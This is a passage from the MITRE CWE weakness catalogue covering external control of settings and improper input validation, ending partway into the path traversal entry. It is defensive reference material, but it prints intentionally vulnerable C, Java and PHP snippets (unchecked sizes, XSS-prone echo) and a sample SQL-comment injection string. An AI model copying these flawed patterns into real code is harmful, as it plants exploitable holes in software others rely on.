Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	371	State Issues	1861

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should

rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Phase: Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Phase: Implementation

Phase: Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

Demonstrative Examples

Example 1:

The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

Example Language: C *(bad)*

```
...
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2:

The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.

Example Language: Java *(bad)*

```
...
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Setting Manipulation
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
69	Target Programs with Elevated Privileges
76	Manipulating Web Input to File System Calls
77	Manipulating User-Controlled Variables
146	XML Schema Poisoning
176	Configuration/Environment Manipulation
203	Manipulate Registry Information
270	Modification of Registry Run Keys
271	Schema Poisoning

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-20: Improper Input Validation

Weakness ID : 20 **Status:** Stable
Structure : Simple
Abstraction : Class

Description

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

- raw data - strings, numbers, parameters, file contents, etc.
- metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

- specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
- implied or derived quantities, such as the actual size of a file instead of a specified size
- indexes, offsets, or positions into more complex data structures
- symbolic keys or other elements into hash tables, associative arrays, etc.
- well-formedness, i.e. syntactic correctness - compliance with expected syntax
- lexical token correctness - compliance with rules for what is treated as a token
- specified or derived type - the actual type of the input (or what the input appears to be)
- consistency - between individual data elements, between raw data and metadata, between references, etc.
- conformance to domain-specific rules, e.g. business logic
- equivalence - ensuring that equivalent inputs are treated the same
- authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
ParentOf	B	179	Incorrect Behavior Order: Early Validation	414
ParentOf	V	622	Improper Validation of Function Hook Arguments	1233
ParentOf	B	1173	Improper Use of Validation Framework	1722
ParentOf	B	1284	Improper Validation of Specified Quantity in Input	1837
ParentOf	B	1285	Improper Validation of Specified Index, Position, or Offset in Input	1839
ParentOf	B	1286	Improper Validation of Syntactic Correctness of Input	1843
ParentOf	B	1287	Improper Validation of Specified Type of Input	1844
ParentOf	B	1288	Improper Validation of Consistency within Input	1845
ParentOf	B	1289	Improper Validation of Unsafe Equivalence in Input	1847

Nature	Type	ID	Name	Page
PeerOf	C	345	Insufficient Verification of Data Authenticity	758
CanPrecede	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
CanPrecede	B	41	Improper Resolution of Path Equivalence	81
CanPrecede	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanPrecede	B	770	Allocation of Resources Without Limits or Throttling	1422

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	V	129	Improper Validation of Array Index	312

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	125
ParentOf	V	102	Struts: Duplicate Validation Forms	227
ParentOf	V	103	Struts: Incomplete validate() Method Definition	229
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	231
ParentOf	V	105	Struts: Form Field Without Validator	234
ParentOf	V	106	Struts: Plug-in Framework not in Use	237
ParentOf	V	107	Struts: Unused Validation Form	239
ParentOf	V	108	Struts: Unvalidated Action Form	242
ParentOf	V	109	Struts: Validator Turned Off	243
ParentOf	V	110	Struts: Validator Without Form Field	245
ParentOf	V	111	Direct Use of Unsafe JNI	247
ParentOf	B	112	Missing XML Validation	249
ParentOf	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	251
ParentOf	C	114	Process Control	256
ParentOf	B	117	Improper Output Neutralization for Logs	266
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
ParentOf	B	134	Use of Externally-Controlled Format String	334
ParentOf	B	170	Improper Null Termination	395
ParentOf	B	190	Integer Overflow or Wraparound	437
ParentOf	B	466	Return of Pointer Value Outside of Expected Range	988
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	996
ParentOf	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	1459

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.*	
Confidentiality	Read Memory Read Files or Directories *An attacker could read confidential data if they are able to control resource references.*	
Integrity Confidentiality Availability	Modify Memory Execute Unauthorized Code or Commands *An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.*	

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Manual Static Analysis

When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.

Fuzzing

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Host Application Interface Scanner Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterizes inputs using a formal language and builds "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Example Language: Java *(bad)*

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

Example Language: C *(bad)*

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3:

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

Example Language: PHP *(bad)*

```
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"
```

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

Example Language: *(attack)*

```
2009-01-09--
```

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Example Language: Java *(bad)*

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 5:

This Android application has registered to handle a URL when sent an intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

Reference	Description
CVE-2008-5305	Eval injection in Perl program using an ID that should only contain hyphens and numbers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5305*
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2223*
CVE-2008-3477	lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3477*
CVE-2008-3843	insufficient validation enables XSS *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3843*
CVE-2008-3174	driver in security product allows code execution due to insufficient validation *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3174*
CVE-2007-3409	infinite loop from DNS packet with a label that points to itself *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3409*
CVE-2006-6870	infinite loop from DNS packet with a label that points to itself *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6870*
CVE-2008-1303	missing parameter leads to crash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1303*
CVE-2007-5893	HTTP request with missing protocol version number leads to crash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5893*
CVE-2006-6658	request with missing parameters leads to information exposure *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6658*
CVE-2008-4114	system crash with offset value that is inconsistent with packet size *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4114*
CVE-2006-3790	size field that is inconsistent with packet size leads to buffer over-read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3790*
CVE-2008-2309	product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2309*
CVE-2008-3494	security bypass via an extra header *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3494*
CVE-2008-3571	empty packet triggers reboot *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3571*
CVE-2006-5525	incomplete denylist allows SQL injection

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5525
CVE-2008-1284	NUL byte in theme name causes directory traversal impact to be worse *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1284*
CVE-2008-0600	kernel does not validate an incoming pointer before dereferencing it *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0600*
CVE-2008-1738	anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1738*
CVE-2008-1737	anti-virus product allows DoS via zero-length field *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1737*
CVE-2008-3464	driver does not validate input from userland to the kernel *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3464*
CVE-2008-2252	kernel does not validate parameters sent in from userland, allowing code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2252*
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2374*
CVE-2008-1440	lack of validation of length field leads to infinite loop *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1440*
CVE-2008-1625	lack of validation of input to an IOCTL allows code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1625*
CVE-2008-3177	zero-length attachment causes crash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3177*
CVE-2007-2442	zero-length input causes free of uninitialized pointer *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2442*
CVE-2008-5563	crash via a malformed frame structure *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5563*
CVE-2008-5285	infinite loop from a long SMTP request *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5285*
CVE-2008-3812	router crashes with a malformed packet *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3812*
CVE-2008-3680	packet with invalid version number leads to NULL pointer dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3680*
CVE-2008-3660	crash via multiple "." characters in file extension *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3660*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	1890
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891

Nature	Type	ID	Name	V	Page
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1005	7PK - Input Validation and Representation	700	1961
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships. Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO30-C	CWE More Abstract	Exclude user input from format strings
CERT C Secure Coding	MEM10-C		Define and use a pointer validation function
WASC	20		Improper Input Handling
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
22	Exploiting Trust in Client
23	File Content Injection
24	Filter Failure through Buffer Overflow
28	Fuzzing
31	Accessing/Intercepting/Modifying HTTP Cookies
42	MIME Conversion
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
63	Cross-Site Scripting (XSS)
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
66	SQL Injection
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
81	Web Logs Tampering
83	XPath Injection
85	AJAX Fingerprinting
88	OS Command Injection
101	Server Side Include (SSI) Injection
104	Cross Zone Scripting
108	Command Line Execution through SQL Injection
109	Object Relational Mapping Injection
110	SQL Injection through SOAP Parameter Tampering
120	Double Encoding

CAPEC-ID	Attack Pattern Name
135	Format String Injection
136	LDAP Injection
153	Input Data Manipulation
182	Flash Injection
209	XSS Using MIME Type Mismatch
230	XML Nested Payloads
231	XML Oversized Payloads
250	XML Injection
261	Fuzzing for garnering other adjacent user/sensitive data
267	Leverage Alternate Encoding
473	Signature Spoof
588	DOM-Based XSS

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-166]Jim Manico. "Input Validation with ESAPI - Very Important". 2008 August 5. < http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-168]Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". 2006 June 5. McGraw-Hill.

[REF-48]Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007 January 0. < http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html >.

[REF-170]Kevin Beaver. "The importance of input validation". 2006 September 6. < http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-1109]"LANGSEC: Language-theoretic Security". < http://langsec.org/ >.

[REF-1110]"LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". < http://langsec.org/bof-handout.pdf >.

[REF-1111]Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. < https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf >.

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID : 22 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Extended Description

